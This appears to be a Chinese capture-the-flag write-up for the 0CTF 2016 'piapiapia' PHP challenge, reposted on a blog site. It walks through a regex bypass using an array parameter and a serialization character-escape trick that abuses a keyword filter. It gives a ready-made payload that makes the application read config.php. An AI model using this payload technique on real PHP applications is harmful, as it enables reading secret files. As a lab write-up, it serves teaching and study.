zoukankan      html  css  js  c++  java
  • [0CTF 2016]piapiapia

    [0CTF 2016]piapiapia

    源码泄露:www.zip

    发现注册页面,注册之后登录,提示更新信息

    使用Seay源代码审计的自动审计功能

     

    upload.php接收四个参数,分别是phome、email、nickname、photo,之后将四个参数储存在profile数组中,使用user类的update_profile方法接收$username和序列化后的$profile

     

    update_profile函数接收两个参数后使用filter方法对两个参数的值进行处理,之后将结果存储到数据库

    可以看到filter函数将select、insert、update等替换为hacker

    在个人信息完善后可以进行查看

    profile.php从数据库中取出用户个人信息,反序列化后输出,其中图片进行base64编码之后前台显示

    flag在config.php文件中

     

    nickname变量

    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)

    die('Invalid nickname');

    nickname首先update.php的正则,使用数组可以进行绕过:nickname[]

    在class.php中的字符串替换函数,将敏感字符替换为hacker

    $safe = array('select', 'insert', 'update', 'delete', 'where');

    $safe = '/' . implode('|', $safe) . '/i';

    return preg_replace($safe, 'hacker', $string);

    可以利用字符串替换将原有的序列化字符串变化,使之反序列化提前结束并将自己设定photo读取出来

    ";}s:5:"photo";s:10:"config.php";}是34个字符,nickname填充34个where,where(4)会被替换为hacker(5)

     

    payload:

    wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

    这样反序列化就会提前结束,并把config.php传递给photo

    之后访问profile.php页面

    base64解码

    知识点: PHP序列化长度变化导致字符逃逸

    参考: https://blog.csdn.net/zz_Caleb/article/details/96777110

  • 相关阅读:
    逝者如斯夫(一)
    C#面向对象-多态
    C#基础知识1-深入理解值类型和引用类型
    一个简单的C#爬虫程序
    C# Web分页功能实现
    Web前端JS实现轮播图原理
    visual studio2019 离线MSDN文档安装
    C#中类的修饰符
    HALCON数据类型和C#对应数据类型的对比
    关于HACLON程序导出C#程序,运行报错解决方法
  • 原文地址:https://www.cnblogs.com/JKding233/p/13468556.html
Copyright © 2011-2022 走看看